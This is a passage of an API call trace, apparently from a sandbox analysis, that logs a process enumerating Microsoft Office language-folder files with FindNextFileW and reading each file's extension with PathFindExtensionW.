Office\\root\\Office16\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN") returned=".XSN" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EAWFINTL.DLL") returned=".DLL" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EntityPickerIntl.dll") returned=".dll" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ENVELOPR.DLL") returned=".DLL" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EQPLIST.VRD") returned=".VRD" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL.HXS") returned=".HXS" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXC") returned=".HXC" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_COL.HXT") returned=".HXT" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_F_COL.HXK") returned=".HXK" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_K_COL.HXK") returned=".HXK" [0245.171] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.171] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXCEL_WHATSNEW.XML") returned=".XML" [0245.172] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.172] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.DLL") returned=".DLL" [0245.172] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.172] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\EXPTOOWS.XLA") returned=".XLA" [0245.172] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.172] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FACILITY.VSL") returned=".VSL" [0245.172] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.260] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FLOCH.VRD") returned=".VRD" [0245.260] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.260] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\FOREST.CSS") returned=".CSS" [0245.260] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.260] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.CSS") returned=".CSS" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VRD") returned=".VRD" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GANTT.VSL") returned=".VSL" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GR8GALRY.GRA") returned=".GRA" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH.HXS") returned=".HXS" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXC") returned=".HXC" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT") returned=".HXT" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_F_COL.HXK") returned=".HXK" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK") returned=".HXK" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRINTL32.DLL") returned=".DLL" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRLEX.DLL") returned=".DLL" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE.HXS") returned=".HXS" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.261] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll") returned=".dll" [0245.261] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXC") returned=".HXC" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_COL.HXT") returned=".HXT" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_F_COL.HXK") returned=".HXK" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GROOVE_K_COL.HXK") returned=".HXK" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL") returned=".VSL" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDIFF.VRD") returned=".VRD" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVACDUCT.VRD") returned=".VRD" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\IFDPINTL.DLL") returned=".DLL" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INSTLIST.VRD") returned=".VRD" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\INVENTRY.VRD") returned=".VRD" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one") returned=".one" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\JADE.CSS") returned=".CSS" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL") returned=".VSL" [0245.262] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.262] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS") returned=".HXS" [0245.263] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.263] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LyncBasic_Eula.txt") returned=".txt" [0245.263] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.263] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\lyncDesktopResources.dll") returned=".dll" [0245.263] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.263] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LyncVDI_Eula.txt") returned=".txt" [0245.263] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.263] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC.HXS") returned=".HXS" [0245.263] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.264] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXC") returned=".HXC" [0245.264] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.264] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT") returned=".HXT" [0245.264] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.264] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK") returned=".HXK" [0245.264] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.264] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_K_COL.HXK") returned=".HXK" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXC") returned=".HXC" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_COL.HXT") returned=".HXT" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_F_COL.HXK") returned=".HXK" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_K_COL.HXK") returned=".HXK" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS") returned=".HXS" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXC") returned=".HXC" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_COL.HXT") returned=".HXT" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_F_COL.HXK") returned=".HXK" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE_K_COL.HXK") returned=".HXK" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPIR.DLL") returned=".DLL" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MAPISHELLR.DLL") returned=".DLL" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MERES.DLL") returned=".DLL" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOR6INT.DLL") returned=".DLL" [0245.265] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.265] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MOVE.VRD") returned=".VRD" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MPXRES.DLL") returned=".DLL" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS") returned=".HXS" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXC") returned=".HXC" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT") returned=".HXT" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_F_COL.HXK") returned=".HXK" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_K_COL.HXK") returned=".HXK" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSAIN.DLL") returned=".DLL" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSO.ACL") returned=".ACL" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotdintl.dll") returned=".dll" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\msotelemetryintl.dll") returned=".dll" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS") returned=".HXS" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXC") returned=".HXC" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.266] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_COL.HXT") returned=".HXT" [0245.266] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.267] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK") returned=".HXK" [0245.267] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK") returned=".HXK" [0245.269] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS") returned=".HXS" [0245.269] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.269] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG") returned=".OPG" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC") returned=".HXC" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT") returned=".HXT" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK") returned=".HXK" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK") returned=".HXK" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSQRY32.CHM") returned=".CHM" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSSRINTL.DLL") returned=".DLL" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK.CSS") returned=".CSS" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD") returned=".VRD" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD") returned=".VRD" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD") returned=".VRD" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ocapires.dll") returned=".dll" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML") returned=".XML" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.270] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcHelperResource.dll") returned=".dll" [0245.270] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCMODVRD.XML") returned=".XML" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcPubRes.dll") returned=".dll" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentfallback.xml") returned=".xml" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\officeinventoryagentlogon.xml") returned=".xml" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\offsym.ttf") returned=".ttf" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\offsymb.ttf") returned=".ttf" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\offsyml.ttf") returned=".ttf" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\offsymsb.ttf") returned=".ttf" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\offsymsl.ttf") returned=".ttf" [0245.271] FindNextFileW (in: hFindFile=0x2e79c98, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0245.271] PathFindExtensionW (pszPath="C:\\Program 